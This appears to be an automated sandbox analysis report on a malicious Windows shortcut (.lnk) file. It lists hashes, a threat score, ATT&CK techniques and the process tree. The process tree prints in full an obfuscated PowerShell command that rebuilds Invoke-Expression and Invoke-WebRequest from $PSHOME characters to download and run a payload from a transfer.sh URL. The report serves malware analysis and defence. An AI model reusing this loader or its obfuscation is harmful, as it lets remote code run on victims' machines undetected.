4f1efc63df5946883d53bf8022ef3cca714cfc210aa71938b2ef349b00115523

Analysis

max time kernel
14s
max time network
21s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
06/07/2023, 01:50

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General

Target

75c4cc9c8303c2919aee6e42b8a067e9f46522913cf5755dc66a29c0c5f4a1e6.lnk
Size

1KB
MD5

88cda338f875b4e478ca353b9b7f1d09
SHA1

c79f03518ac3e57e947e5dc07c1e99c76c67b4f8
SHA256

75c4cc9c8303c2919aee6e42b8a067e9f46522913cf5755dc66a29c0c5f4a1e6
SHA512

e3fff3083fbc1b27601183de25f0a7b94b8feae2a955e1ddcb15f67e5dd80120210663feb66b8e1dcc962991bd54541fd078b8365d453742cd3c6ec8775b93f1

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	3672	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3195054982-4292022746-1467505928-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3672	powershell.exe
3672	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3672	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4504 wrote to memory of 3672	4504	cmd.exe	80
PID 4504 wrote to memory of 3672	4504	cmd.exe	80

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\75c4cc9c8303c2919aee6e42b8a067e9f46522913cf5755dc66a29c0c5f4a1e6.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ${.*} = $PSHOME[+22 -24 +2] + $PSHOME[-12 +3] + 'a' + $PSHOME[-66 +55];${g^4} = $([TYPE]${.*});${.**} = ${g^4}::ToString(+79 -1 -5);${.**..} = ${g^4}::ToString(+79 -1 -5 -4);${..***} = ${g^4}::ToString(+79 +30 -10 +21);&(${.**} +${.**..} + ${..***})(&(${.**} +${.**..} + ${..***})($PSHOME[+52 -53 +1]+'u'+$PSHOME[-66 +55]+$PSHOME[-61 +55]+' https://transfer.sh/get/FRcrqrPgy2/fa3333.txt -UseBasicParsing')).Content
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3672

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xwsdvd31.htn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3672-135-0x000001A845090000-0x000001A8450B2000-memory.dmp

Filesize
136KB

Download
memory/3672-145-0x000001A82CD20000-0x000001A82CD30000-memory.dmp

Filesize
64KB

Download
memory/3672-146-0x000001A82CD20000-0x000001A82CD30000-memory.dmp

Filesize
64KB

Download
memory/3672-147-0x000001A82CD20000-0x000001A82CD30000-memory.dmp

Filesize
64KB

Download